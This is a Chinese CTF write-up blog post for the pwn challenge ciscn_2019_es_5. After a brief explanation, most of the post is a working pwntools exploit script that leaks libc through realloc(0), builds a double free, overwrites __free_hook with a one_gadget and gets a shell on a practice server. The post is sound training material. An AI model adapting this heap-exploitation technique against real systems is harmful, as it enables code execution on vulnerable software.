菜单 学习猿地 - LMONKEY

VIP

开通学习猿地VIP

尊享10项VIP特权 持续新增

知识通关挑战

打卡带练!告别无效练习

接私单赚外块

VIP优先接,累计金额超百万

学习猿地私房课免费学

大厂实战课仅对VIP开放

你的一对一导师

每月可免费咨询大牛30次

领取更多软件工程师实用特权

入驻
367
0

ciscn_2019_es_5

原创
05/13 14:22
阅读数 80269

太久没写题目了,今天写一下发现自己越来越菜了

又是一个跟realloc有关的题,一开始注意realloc,后面看了hav1k师傅的博客发现realloc等于free后,立刻恍然大悟了,不然还要看好久,realloc为0时等于free

漏洞利用

  1. 由于没有初始化可以利用realloc直接leak libc
  2. 接着利用realloc来达成double free劫持free hook即可
from pwn import *

#p=process('./ciscn_2019_es_5')
p=remote('node3.buuoj.cn',29806)
libc=ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
text='choice:'
def create(size,content):
    p.recvuntil('choice:')
    p.sendline('1')
    p.recvuntil('size?>')
    p.sendline(str(size))
    p.recvuntil('content:')
    p.sendline(content)

def edit(idx):
    p.recvuntil('choice:')
    p.sendline('2')
    p.recvuntil('Index:')
    p.sendline(str(idx))

def show(idx):
    p.recvuntil('choice:')
    p.sendline('3')
    p.recvuntil('Index:')
    p.sendline(str(idx))

def free(idx):
    p.recvuntil('choice:')
    p.sendline('4')
    p.recvuntil('Index:')
    p.sendline(str(idx))


create(0x4f0,p64(0)*3+p64(0x500)+b'\x00')#0
create(0x68,'p')#1
#leak libc
free(0)
create(0,'')#0
show(0)
libc.address=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-libc.symbols['__malloc_hook']-0x430
one=0x4f322+libc.address
edit(0)
free(0)
free_hook=libc.symbols['__free_hook']
create(0x18,p64(free_hook)+p64(0))
create(0x18,p64(one))
free(1)
print('libc_base==>'+hex(libc.address))



#gdb.attach(p)
p.interactive()

 

发表评论

0/200
367 点赞
0 评论
收藏
为你推荐 换一批